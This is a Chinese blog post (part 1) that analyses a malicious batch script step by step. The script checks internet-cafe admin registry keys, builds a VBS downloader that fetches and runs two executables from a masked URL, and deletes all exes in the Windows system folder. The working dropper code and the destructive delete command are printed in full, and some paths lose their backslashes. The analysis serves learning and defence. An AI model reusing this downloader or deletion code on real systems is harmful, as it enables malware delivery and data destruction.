zoukankan      html  css  js  c++  java
  • 一个bat病毒分析(part1)

    之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦

    这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm

    @echo off&setlocal enabledelayedexpansion

     

    这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。

    reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetiCafe8 /v Admin>nul 2>nul&&call :is_admin_icafe
    reg query HKEY_LOCAL_MACHINESOFTWAREEYOOCLIENTSTATUS /v SuperLogin>nul 2>nul&&call :is_admin_eyoo
    reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSet /v superadmin>nul 2>nul&&call :is_admin_yungengxin

    这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????

    :is_admin_icafe
    for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSeticafe8 /v Admin') do (set IsAdmin=%%a)
    if %IsAdmin:~-1% == 1 (goto superadmin)
    goto :eof
    
    :is_admin_eyoo
    for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESOFTWAREEYOOCLIENTSTATUS /v SuperLogin') do (set IsAdmin=%%a)
    if %IsAdmin:~-1% == 1 (goto superadmin)
    goto :eof
    
    :is_admin_yungengxin
    for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSet /v superadmin') do (set IsAdmin=%%a)
    if %IsAdmin:~-1% == 1 (goto superadmin)
    goto :eof
    
    :superadmin
    exit

     

    这里是下载两个exe到c盘下(网址抹掉了),然后删除c:windowssystem下所有的exe,/q取消删除确认,然后执行结束

    ::Download one or more programs and run the programs
    call :geticon http://xxxx/xx/zc005.exe C:Windowssystemzc005.exe
    call :geticon http://xxxx/xx/zjzc6.exe C:Windowssystemzjzc6.exe
    del c:windowssystem*.exe /q
    exit

     我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件

    :geticon url path
    echo strFileURL="%1">%temp%boot.vbs
    echo strHDLocation="%2">>%temp%boot.vbs
    echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%boot.vbs
    echo objXMLHTTP.open "GET", strFileURL, false>>%temp%boot.vbs
    echo objXMLHTTP.send()>>%temp%boot.vbs
    echo If objXMLHTTP.Status=200 Then>>%temp%boot.vbs
    echo     Set objADOStream=CreateObject("ADODB.Stream")>>%temp%boot.vbs
    echo     objADOStream.Open>>%temp%boot.vbs
    echo     objADOStream.Type^=^1>>%temp%boot.vbs
    echo     objADOStream.Write objXMLHTTP.ResponseBody>>%temp%boot.vbs
    echo     objADOStream.Position^=^0>>%temp%boot.vbs
    echo     Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%boot.vbs
    echo     If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%boot.vbs
    echo     Set objFSO=Nothing>>%temp%boot.vbs
    echo     objADOStream.SaveToFile strHDLocation>>%temp%boot.vbs
    echo     objADOStream.Close>>%temp%boot.vbs
    echo     Set objADOStream=Nothing>>%temp%boot.vbs
    echo End if>>%temp%boot.vbs
    echo Set objXMLHTTP=Nothing>>%temp%boot.vbs
    cscript //nologo //e:vbscript %temp%/boot.vbs
    del %temp%oot.vbs /q
    if exist %2 start "" %2
    goto :eof

     

     这里就是vbs执行的流程

    strFileURL=http://xxxx/xx/zc005.exe                '目标URL
    strHDLocation=C:Windowssystemzc005.exe        '存放地址
    Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")    '创建一个MSXML2.XMLHTTP对象用来抓取网页数据
    objXMLHTTP.open "GET", strFileURL, false        'get方式访问url获取响应信息
    objXMLHTTP.send()
    If objXMLHTTP.Status=200 Then                    '判断是否访问到页面
        Set objADOStream=CreateObject("ADODB.Stream")    'ADODB.Stream用来数据传输    
        objADOStream.Open
        objADOStream.Type^=^1                        '以二进制形式读取文件
        objADOStream.Write objXMLHTTP.ResponseBody    '数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一
        objADOStream.Position^=^0                    '指示开始读取的位置
        Set objFSO=Createobject("Scripting.FileSystemObject")    '创建Scripting.FileSystemObject
        If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation    '检测是否存在目标目录,存在就删除文件
        Set objFSO=Nothing
        objADOStream.SaveToFile strHDLocation        '写入到目标路径
        objADOStream.Close
        Set objADOStream=Nothing
    End if
    Set objXMLHTTP=Nothing

    最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe

    cscript //nologo //e:vbscript %temp%/boot.vbs
    del %temp%oot.vbs /q
    if exist %2 start "" %2
    goto :eof

    这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

     

  • 相关阅读:
    自兴人工智能——字典
    自兴人工智能——字符串
    列表与元组——自兴人工智能
    自兴人工智能——通用序列操作
    自兴人工智能——Python运算符和操作对象
    自兴人工智能------Python语言的变量认识及操作
    使用opencv-python框出人脸
    使用opencv-python录视频
    (自兴人工智能)python字符串
    (自兴人工智能)python元组
  • 原文地址:https://www.cnblogs.com/QKSword/p/9157624.html
Copyright © 2011-2022 走看看